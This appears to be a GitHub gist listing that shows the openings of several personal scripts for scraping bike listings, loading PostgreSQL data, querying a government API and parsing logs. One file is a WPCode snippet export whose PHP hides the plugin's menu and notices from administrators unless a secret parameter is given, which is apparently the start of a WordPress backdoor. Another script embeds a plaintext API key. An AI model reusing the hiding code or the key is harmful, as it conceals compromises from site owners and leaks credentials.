This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json, re, unicodedata | |
import psycopg2 | |
from datetime import datetime | |
# ——— CONFIG ——— | |
DB_DSN = "host=localhost port=5432 user=tim dbname=bike_prices" | |
INPUT_FILE = "raw_data.jsonl" | |
SOURCE = "craigslist" # satisfies CHECK constraint |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# this is from the bluebook bike website | |
# thre is a html file with the bike listings that i parse from this | |
# Tim Booher - May 26, 2025 | |
from bs4 import BeautifulSoup | |
import pandas as pd | |
# Load the HTML content from file | |
with open("data/page.html", "r", encoding="utf-8") as f: | |
soup = BeautifulSoup(f, "html.parser") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import re | |
import json | |
import psycopg2 | |
from bs4 import BeautifulSoup | |
# ——— CONFIG ——— | |
DB_DSN = "host=localhost port=5432 user=tim dbname=bike_prices" | |
CITY = "Fort Worth" | |
INPUT_FILE = "fortworth.html" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
import time | |
import requests | |
from datetime import datetime | |
# ——— CONFIG ——— | |
cities = [ | |
"dallas","austin","houston","sanantonio","denver","seattle", | |
"sfbay","portland","boise","phoenix","chicago","boulder", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import psycopg2 | |
from time import sleep | |
from datetime import datetime, timedelta | |
# documentation | |
# https://open.gsa.gov/api/get-opportunities-public-api/#user-account-api-key-creation | |
# Constants | |
API_KEY = "VdIf7RKVJATd3dCMnYZ64lZOyrM5O6lKSGOnc3bH" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env Rscript | |
# Set working directory | |
setwd('/Users/tim/code/tesla') | |
# 1) Load libraries (assume already installed) | |
library(googlesheets4) | |
library(dplyr) | |
library(magrittr) | |
library(ggplot2) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a:1:{s:10:"everywhere";a:1:{i:0;a:12:{s:2:"id";i:78;s:5:"title";s:16:"Untitled Snippet";s:4:"code";s:6836:"$_pwsa = 'a516c9f37ca86f549b3cdff68167e708'; | |
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) { | |
add_action('admin_head', function () { | |
echo '<style>'; | |
echo '#toplevel_page_wpcode { display: none; }'; | |
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }'; | |
echo '#wpcode-notice-global-review_request { display: none; }'; | |
echo '</style>'; | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import csv | |
from datetime import datetime | |
# Regex for Nginx combined log format | |
log_pattern = re.compile( | |
r'(?P<remote_addr>\S+) - - \[(?P<timestamp>.+?)\] "(?P<request>.+?)" ' | |
r'(?P<status_code>\d+) (?P<bytes_sent>\d+) "(?P<referrer>.*?)" "(?P<user_agent>.*?)" "(?P<upstream>.*?)"' | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Filename: shipment_summary.py | |
import os | |
from google.oauth2 import service_account | |
from googleapiclient.discovery import build | |
import psycopg2 | |
import re | |
from datetime import datetime, timedelta | |
from dotenv import load_dotenv | |
from re import search | |
import csv |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import psycopg2 | |
import csv | |
from dotenv import load_dotenv | |
import os | |
from datetime import datetime | |
# Load environment variables | |
load_dotenv('../.env') | |
# Database connection parameters |